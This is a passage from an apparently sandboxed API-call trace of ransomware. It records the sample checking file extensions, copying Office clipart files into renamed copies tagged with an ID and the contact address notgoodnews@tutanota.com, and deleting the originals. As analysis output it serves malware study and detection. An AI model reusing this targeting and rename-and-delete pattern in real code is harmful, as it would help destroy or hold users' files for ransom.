[0076.018] lstrlenW (lpString=".1cd") returned 4 [0076.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.018] lstrlenW (lpString=".jpg") returned 4 [0076.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.018] lstrlenW (lpString=".doc") returned 4 [0076.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.018] lstrlenW (lpString=".docx") returned 5 [0076.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.018] lstrlenW (lpString=".pdf") returned 4 [0076.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.018] lstrlenW (lpString=".xls") returned 4 [0076.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.018] lstrlenW (lpString=".xlsx") returned 5 [0076.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.019] lstrlenW (lpString=".ppt") returned 4 [0076.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.019] lstrlenW (lpString=".zip") returned 4 [0076.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.019] lstrlenW (lpString=".rar") returned 4 [0076.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.019] lstrlenW (lpString=".bz2") returned 4 [0076.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.019] lstrlenW (lpString=".7z") returned 3 [0076.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.019] lstrlenW (lpString=".dbf") returned 4 [0076.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.019] lstrlenW (lpString=".1cd") returned 4 [0076.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0076.019] lstrlenW (lpString=".jpg") returned 4 [0076.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.019] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.019] lstrlenW (lpString="AN01545_.WMF") returned 12 [0076.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.020] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7372) returned 1 [0076.020] CloseHandle (hObject=0x350) returned 1 [0076.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0076.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.021] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.021] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0076.021] GetLastError () returned 0x0 [0076.021] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0076.022] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0076.023] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.023] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.024] SetEndOfFile (hFile=0x330) returned 1 [0076.024] CloseHandle (hObject=0x330) returned 1 [0076.024] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.024] SetEndOfFile (hFile=0x350) returned 1 [0076.025] CloseHandle (hObject=0x350) returned 1 [0076.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0076.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.026] lstrlenW (lpString=".doc") returned 4 [0076.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.026] lstrlenW (lpString=".docx") returned 5 [0076.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.026] lstrlenW (lpString=".pdf") returned 4 [0076.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.026] lstrlenW (lpString=".xls") returned 4 [0076.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.026] lstrlenW (lpString=".xlsx") returned 5 [0076.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.026] lstrlenW (lpString=".ppt") returned 4 [0076.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.026] lstrlenW (lpString=".zip") returned 4 [0076.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.026] lstrlenW (lpString=".rar") returned 4 [0076.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.026] lstrlenW (lpString=".bz2") returned 4 [0076.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.026] lstrlenW (lpString=".7z") returned 3 [0076.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.026] lstrlenW (lpString=".dbf") returned 4 [0076.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.026] lstrlenW (lpString=".1cd") returned 4 [0076.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.027] lstrlenW (lpString=".jpg") returned 4 [0076.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.027] lstrlenW (lpString=".doc") returned 4 [0076.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.027] lstrlenW (lpString=".docx") returned 5 [0076.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.027] lstrlenW (lpString=".pdf") returned 4 [0076.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.027] lstrlenW (lpString=".xls") returned 4 [0076.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.027] lstrlenW (lpString=".xlsx") returned 5 [0076.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.027] lstrlenW (lpString=".ppt") returned 4 [0076.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.027] lstrlenW (lpString=".zip") returned 4 [0076.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.027] lstrlenW (lpString=".rar") returned 4 [0076.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.027] lstrlenW (lpString=".bz2") returned 4 [0076.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.027] lstrlenW (lpString=".7z") returned 3 [0076.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.027] lstrlenW (lpString=".dbf") returned 4 [0076.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.027] lstrlenW (lpString=".1cd") returned 4 [0076.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0076.027] lstrlenW (lpString=".jpg") returned 4 [0076.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.028] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.028] lstrlenW (lpString="AN02122_.WMF") returned 12 [0076.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.028] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7540) returned 1 [0076.028] CloseHandle (hObject=0x350) returned 1 [0076.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0076.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.029] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.029] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0076.029] GetLastError () returned 0x0 [0076.029] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0076.030] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0076.031] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.031] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.032] SetEndOfFile (hFile=0x330) returned 1 [0076.032] CloseHandle (hObject=0x330) returned 1 [0076.032] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.032] SetEndOfFile (hFile=0x350) returned 1 [0076.033] CloseHandle (hObject=0x350) returned 1 [0076.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0076.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.034] lstrlenW (lpString=".doc") returned 4 [0076.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.034] lstrlenW (lpString=".docx") returned 5 [0076.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.034] lstrlenW (lpString=".pdf") returned 4 [0076.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.034] lstrlenW (lpString=".xls") returned 4 [0076.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.034] lstrlenW (lpString=".xlsx") returned 5 [0076.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.034] lstrlenW (lpString=".ppt") returned 4 [0076.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.034] lstrlenW (lpString=".zip") returned 4 [0076.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.034] lstrlenW (lpString=".rar") returned 4 [0076.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.034] lstrlenW (lpString=".bz2") returned 4 [0076.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.034] lstrlenW (lpString=".7z") returned 3 [0076.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.034] lstrlenW (lpString=".dbf") returned 4 [0076.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.034] lstrlenW (lpString=".1cd") returned 4 [0076.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.035] lstrlenW (lpString=".jpg") returned 4 [0076.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.035] lstrlenW (lpString=".doc") returned 4 [0076.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.035] lstrlenW (lpString=".docx") returned 5 [0076.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.035] lstrlenW (lpString=".pdf") returned 4 [0076.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.035] lstrlenW (lpString=".xls") returned 4 [0076.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.035] lstrlenW (lpString=".xlsx") returned 5 [0076.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.035] lstrlenW (lpString=".ppt") returned 4 [0076.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.035] lstrlenW (lpString=".zip") returned 4 [0076.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.145] lstrlenW (lpString=".rar") returned 4 [0076.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.145] lstrlenW (lpString=".bz2") returned 4 [0076.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.145] lstrlenW (lpString=".7z") returned 3 [0076.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.145] lstrlenW (lpString=".dbf") returned 4 [0076.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.145] lstrlenW (lpString=".1cd") returned 4 [0076.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0076.145] lstrlenW (lpString=".jpg") returned 4 [0076.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.146] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.146] lstrlenW (lpString="AN04117_.WMF") returned 12 [0076.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.042] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6060) returned 1 [0077.042] CloseHandle (hObject=0x388) returned 1 [0077.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0077.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.043] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.043] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.043] GetLastError () returned 0x0 [0077.043] ReadFile (in: hFile=0x388, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x17ac, lpOverlapped=0x0) returned 1 [0077.045] WriteFile (in: hFile=0x308, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x17b0, lpOverlapped=0x0) returned 1 [0077.046] ReadFile (in: hFile=0x388, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.046] WriteFile (in: hFile=0x308, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.047] SetEndOfFile (hFile=0x308) returned 1 [0077.047] CloseHandle (hObject=0x308) returned 1 [0077.048] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.048] SetEndOfFile (hFile=0x388) returned 1 [0077.049] CloseHandle (hObject=0x388) returned 1 [0077.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0077.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.050] lstrlenW (lpString=".doc") returned 4 [0077.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.050] lstrlenW (lpString=".docx") returned 5 [0077.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.050] lstrlenW (lpString=".pdf") returned 4 [0077.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.050] lstrlenW (lpString=".xls") returned 4 [0077.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.050] lstrlenW (lpString=".xlsx") returned 5 [0077.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.050] lstrlenW (lpString=".ppt") returned 4 [0077.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.050] lstrlenW (lpString=".zip") returned 4 [0077.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.050] lstrlenW (lpString=".rar") returned 4 [0077.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.050] lstrlenW (lpString=".bz2") returned 4 [0077.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.050] lstrlenW (lpString=".7z") returned 3 [0077.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.051] lstrlenW (lpString=".dbf") returned 4 [0077.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.051] lstrlenW (lpString=".1cd") returned 4 [0077.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0077.051] lstrlenW (lpString=".jpg") returned 4 [0077.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.051] lstrlenW (lpString="C:\\Program Files\\Microsoft 